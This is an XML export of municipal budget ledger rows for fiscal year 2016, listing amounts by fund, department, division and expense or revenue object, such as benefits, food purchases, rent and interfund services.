<row _id="20188"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>110</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>110</total></row>
<row _id="20189"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>300</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>300</total></row>
<row _id="20190"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>406980.0</object><object_description>PBAD ASSESSMENT</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-34313</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-34313</total></row>
<row _id="20191"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>19950</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>19950</total></row>
<row _id="20192"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1695</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1695</total></row>
<row _id="20193"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>646</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>646</total></row>
<row _id="20194"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>108316</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>108316</total></row>
<row _id="20195"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>728</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>728</total></row>
<row _id="20196"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>600</total></row>
<row _id="20197"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2220</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2220</total></row>
<row _id="20198"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1300</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1300</total></row>
<row _id="20199"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>MEDICAL-RETIREE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20200"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>510</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>510</total></row>
<row _id="20201"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3200</total></row>
<row _id="20202"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2130</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2130</total></row>
<row _id="20203"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1464</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1464</total></row>
<row _id="20204"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>107</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>107</total></row>
<row _id="20205"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>15723</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15723</total></row>
<row _id="20206"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>111217</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>111217</total></row>
<row _id="20207"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>134</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>134</total></row>
<row _id="20208"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>560010.0</object><object_description>SCADA O &amp; M</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>31151</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>31151</total></row>
<row _id="20209"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object xsi:nil="true" /><object_description>MEDICAL-RETIREE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20210"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1582</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1582</total></row>
<row _id="20211"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6347</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6347</total></row>
<row _id="20212"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3500</total></row>
<row _id="20213"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>65063</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>65063</total></row>
<row _id="20214"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>24036</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>24036</total></row>
<row _id="20215"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1922</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1922</total></row>
<row _id="20216"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>100</total></row>
<row _id="20217"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>205289</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>205289</total></row>
<row _id="20218"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5170</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5170</total></row>
<row _id="20219"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>429</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>429</total></row>
<row _id="20220"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>700</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>700</total></row>
<row _id="20221"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>266</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>266</total></row>
<row _id="20222"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-FIN</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-898083</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-898083</total></row>
<row _id="20223"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404081.0</object><object_description>INTEREST - PROP 1B-SECURITY</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2016</fiscal_year><july>-11186</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-11186</total></row>
<row _id="20224"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404082.0</object><object_description>INTEREST - PROP 1B-BUSES</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2016</fiscal_year><july>-44742</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-44742</total></row>
<row _id="20225"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>579290.0</object><object_description>UTILITIES BILLING SERVICES</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>393560</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>393560</total></row>
<row _id="20226"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5801</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5801</total></row>
<row _id="20227"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>543</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>543</total></row>
<row _id="20228"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>8727</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8727</total></row>
<row _id="20229"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4342</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4342</total></row>
<row _id="20230"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>850.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>11406</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11406</total></row>
<row _id="20231"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>404580.0</object><object_description>BAYSAVER FEES</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20232"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>405221.0</object><object_description>PYMT-MAIN ST-LIGHTS &amp; SIDEWLK</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>50500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>50500</total></row>
<row _id="20233"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>101964</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>101964</total></row>
<row _id="20234"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4700</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4700</total></row>
<row _id="20235"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20236"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>239258</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>239258</total></row>
<row _id="20237"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3403</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3403</total></row>
